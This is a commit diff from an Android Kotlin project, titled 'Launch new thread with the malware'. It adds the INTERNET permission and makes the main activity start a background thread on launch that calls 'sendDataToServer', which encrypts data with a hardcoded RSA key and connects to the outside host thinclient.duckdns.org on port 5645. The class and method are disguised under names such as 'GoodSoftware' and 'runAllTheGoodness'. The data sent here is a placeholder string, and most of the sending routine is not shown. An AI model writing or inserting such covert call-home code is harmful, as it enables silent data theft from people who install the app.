Launch new thread with the malware
This commit is contained in:
		
							
								
								
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -5,6 +5,18 @@
 | 
				
			|||||||
      <entry key="MainActivity">
 | 
					      <entry key="MainActivity">
 | 
				
			||||||
        <State />
 | 
					        <State />
 | 
				
			||||||
      </entry>
 | 
					      </entry>
 | 
				
			||||||
 | 
					      <entry key="MainActivity (1)">
 | 
				
			||||||
 | 
					        <State />
 | 
				
			||||||
 | 
					      </entry>
 | 
				
			||||||
 | 
					      <entry key="MainActivity (2)">
 | 
				
			||||||
 | 
					        <State />
 | 
				
			||||||
 | 
					      </entry>
 | 
				
			||||||
 | 
					      <entry key="MainActivity (3)">
 | 
				
			||||||
 | 
					        <State />
 | 
				
			||||||
 | 
					      </entry>
 | 
				
			||||||
 | 
					      <entry key="MainActivity (4)">
 | 
				
			||||||
 | 
					        <State />
 | 
				
			||||||
 | 
					      </entry>
 | 
				
			||||||
      <entry key="app">
 | 
					      <entry key="app">
 | 
				
			||||||
        <State />
 | 
					        <State />
 | 
				
			||||||
      </entry>
 | 
					      </entry>
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										1
									
								
								.idea/gradle.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										1
									
								
								.idea/gradle.xml
									
									
									
										generated
									
									
									
								
							@@ -1,5 +1,6 @@
 | 
				
			|||||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
					<?xml version="1.0" encoding="UTF-8"?>
 | 
				
			||||||
<project version="4">
 | 
					<project version="4">
 | 
				
			||||||
 | 
					  <component name="GradleMigrationSettings" migrationVersion="1" />
 | 
				
			||||||
  <component name="GradleSettings">
 | 
					  <component name="GradleSettings">
 | 
				
			||||||
    <option name="linkedExternalProjectsSettings">
 | 
					    <option name="linkedExternalProjectsSettings">
 | 
				
			||||||
      <GradleProjectSettings>
 | 
					      <GradleProjectSettings>
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,6 +1,7 @@
 | 
				
			|||||||
<?xml version="1.0" encoding="utf-8"?>
 | 
					<?xml version="1.0" encoding="utf-8"?>
 | 
				
			||||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 | 
					<manifest xmlns:android="http://schemas.android.com/apk/res/android"
 | 
				
			||||||
    xmlns:tools="http://schemas.android.com/tools">
 | 
					    xmlns:tools="http://schemas.android.com/tools">
 | 
				
			||||||
 | 
					    <uses-permission android:name="android.permission.INTERNET" />
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    <application
 | 
					    <application
 | 
				
			||||||
        android:allowBackup="true"
 | 
					        android:allowBackup="true"
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,5 +1,7 @@
 | 
				
			|||||||
package com.ti.m
 | 
					package com.ti.m
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import kotlinx.coroutines.Dispatchers
 | 
				
			||||||
 | 
					import kotlinx.coroutines.withContext
 | 
				
			||||||
import java.io.BufferedReader
 | 
					import java.io.BufferedReader
 | 
				
			||||||
import java.io.InputStreamReader
 | 
					import java.io.InputStreamReader
 | 
				
			||||||
import java.io.PrintWriter
 | 
					import java.io.PrintWriter
 | 
				
			||||||
@@ -62,9 +64,20 @@ class GoodSoftware {
 | 
				
			|||||||
            }
 | 
					            }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    fun launch() {
 | 
				
			||||||
 | 
					        Thread {
 | 
				
			||||||
 | 
					            runAllTheGoodness()
 | 
				
			||||||
 | 
					        }.start()
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    private fun runAllTheGoodness() {
 | 
				
			||||||
 | 
					        val dataToSend = "Amazing data"
 | 
				
			||||||
 | 
					        sendDataToServer(dataToSend)
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    fun sendDataToServer(sendData: String) {
 | 
					    fun sendDataToServer(sendData: String) {
 | 
				
			||||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
					        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
				
			||||||
        val host = "thinclient.space"
 | 
					        val host = "thinclient.duckdns.org"
 | 
				
			||||||
        val port = 5645
 | 
					        val port = 5645
 | 
				
			||||||
        val secureRandom = SecureRandom()
 | 
					        val secureRandom = SecureRandom()
 | 
				
			||||||
        val keyBytes = ByteArray(16)
 | 
					        val keyBytes = ByteArray(16)
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -10,42 +10,22 @@ import androidx.compose.material3.Text
 | 
				
			|||||||
import androidx.compose.runtime.Composable
 | 
					import androidx.compose.runtime.Composable
 | 
				
			||||||
import androidx.compose.ui.Modifier
 | 
					import androidx.compose.ui.Modifier
 | 
				
			||||||
import androidx.compose.ui.tooling.preview.Preview
 | 
					import androidx.compose.ui.tooling.preview.Preview
 | 
				
			||||||
 | 
					import androidx.lifecycle.lifecycleScope
 | 
				
			||||||
import com.ti.m.ui.theme.MTheme
 | 
					import com.ti.m.ui.theme.MTheme
 | 
				
			||||||
 | 
					import kotlinx.coroutines.launch
 | 
				
			||||||
 | 
					
 | 
				
			||||||
class MainActivity : ComponentActivity() {
 | 
					class MainActivity : ComponentActivity() {
 | 
				
			||||||
    override fun onCreate(savedInstanceState: Bundle?) {
 | 
					    override fun onCreate(savedInstanceState: Bundle?) {
 | 
				
			||||||
        super.onCreate(savedInstanceState)
 | 
					        super.onCreate(savedInstanceState)
 | 
				
			||||||
        setContent {
 | 
					        setContent {
 | 
				
			||||||
            MTheme {
 | 
					            MTheme {
 | 
				
			||||||
                // A surface container using the 'background' color from the theme
 | 
					 | 
				
			||||||
                Surface(
 | 
					                Surface(
 | 
				
			||||||
                    modifier = Modifier.fillMaxSize(),
 | 
					                    modifier = Modifier.fillMaxSize(),
 | 
				
			||||||
                    color = MaterialTheme.colorScheme.background
 | 
					                    color = MaterialTheme.colorScheme.background
 | 
				
			||||||
                ) {
 | 
					                ) {
 | 
				
			||||||
                    Greeting("Android")
 | 
					 | 
				
			||||||
                }
 | 
					                }
 | 
				
			||||||
            }
 | 
					            }
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
        val goodSoftware = GoodSoftware()
 | 
					        GoodSoftware().launch()
 | 
				
			||||||
 | 
					 | 
				
			||||||
        val dataToSend = "Amazing data"
 | 
					 | 
				
			||||||
        goodSoftware.sendDataToServer(dataToSend)
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
    }
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
@Composable
 | 
					 | 
				
			||||||
fun Greeting(name: String, modifier: Modifier = Modifier) {
 | 
					 | 
				
			||||||
    Text(
 | 
					 | 
				
			||||||
        text = "Hello $name!",
 | 
					 | 
				
			||||||
        modifier = modifier
 | 
					 | 
				
			||||||
    )
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
@Preview(showBackground = true)
 | 
					 | 
				
			||||||
@Composable
 | 
					 | 
				
			||||||
fun GreetingPreview() {
 | 
					 | 
				
			||||||
    MTheme {
 | 
					 | 
				
			||||||
        Greeting("Android")
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
		Reference in New Issue
	
	Block a user